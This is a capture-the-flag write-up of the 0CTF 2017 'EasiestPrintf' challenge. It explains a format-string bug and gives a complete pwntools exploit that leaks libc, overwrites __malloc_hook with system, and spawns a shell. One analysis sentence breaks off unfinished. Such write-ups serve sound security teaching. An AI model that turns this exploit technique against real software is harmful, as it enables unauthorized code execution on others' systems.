0CTF 2017 Quals EasiestPrintf Write-up

Introduction

In this post, I want to give an example on how implicit malloc in printf can be applied to CTF challenges.

Vulnerability Analysis

There exists a very obvious string format vulnerability in this challenge. The attacker can input a string of size

Exploitation Plan

There are two printf functions in this challenge. Use the first one to leak the base address of libc and use the second one to pwn the shell.
Since the binary is compiled with FULL_RELRO in this challenge, we overwrite the _malloc_hook and trigger implicit malloc in printf to pwn the shell.

Exploit

from pwn import *
import time

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
	r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
	r = process("./ep");
elif(DEBUG == 2):
	r = process("./ep");
	gdb.attach(r, '''source ./script''');

def calculateOffset(target, currentLength):
	while(currentLength >= target):
		target = target + 0x100;

	requestedOffset = target - currentLength;
	return requestedOffset

def exploit():
	libc = ELF("./libc.so.6");
	r.recvuntil("you wanna read:");
	r.sendline(str(0x8049fc4));
	r.recvline();
	leak = r.recvline();
	leakedValue = int(leak, 16);
	log.info("leaked value: 0x%x" % leakedValue);
	libcBase = leakedValue - libc.symbols['read'];
	log.info("libc base address: 0x%x" % libcBase);

	sleep(1);

	mallocHookAddr = libcBase + 0x1a9408;
	writableAddr = 0x804A04C;

	value1 = libcBase + libc.symbols['system'] ;
	value2 = u32( 'sh'.ljust(4, '\x00'));
	log.info("value1 : 0x%x", value1);
	log.info("value2 : 0x%x", value2);

	payload = p32(mallocHookAddr);
	payload += p32(mallocHookAddr + 1);
	payload += p32(mallocHookAddr + 3);
	payload += p32(writableAddr);
	payload += p32(writableAddr + 1);
	payload += p32(writableAddr + 2);
	payload += p32(writableAddr + 3);

	curLength = len(payload);
	value = value1 & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%7$hhn"

	value = (value1>>8) & 0xffff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%8$hn"
	
	value = (value1>>24) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%9$hhn"


	value = value2 & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%10$hhn";

	value = (value2>>8) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%11$hhn";

	value = (value2>>16) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%12$hhn";

	value = (value2>>24) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%13$hhn";

	payload += "%" + str(writableAddr-32) +"s";
	r.sendline(payload);
	r.interactive();

exploit();

Reference

[1] http://blog.dragonsector.pl/2017/03/0ctf-2017-easiestprintf-pwn-150.html

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.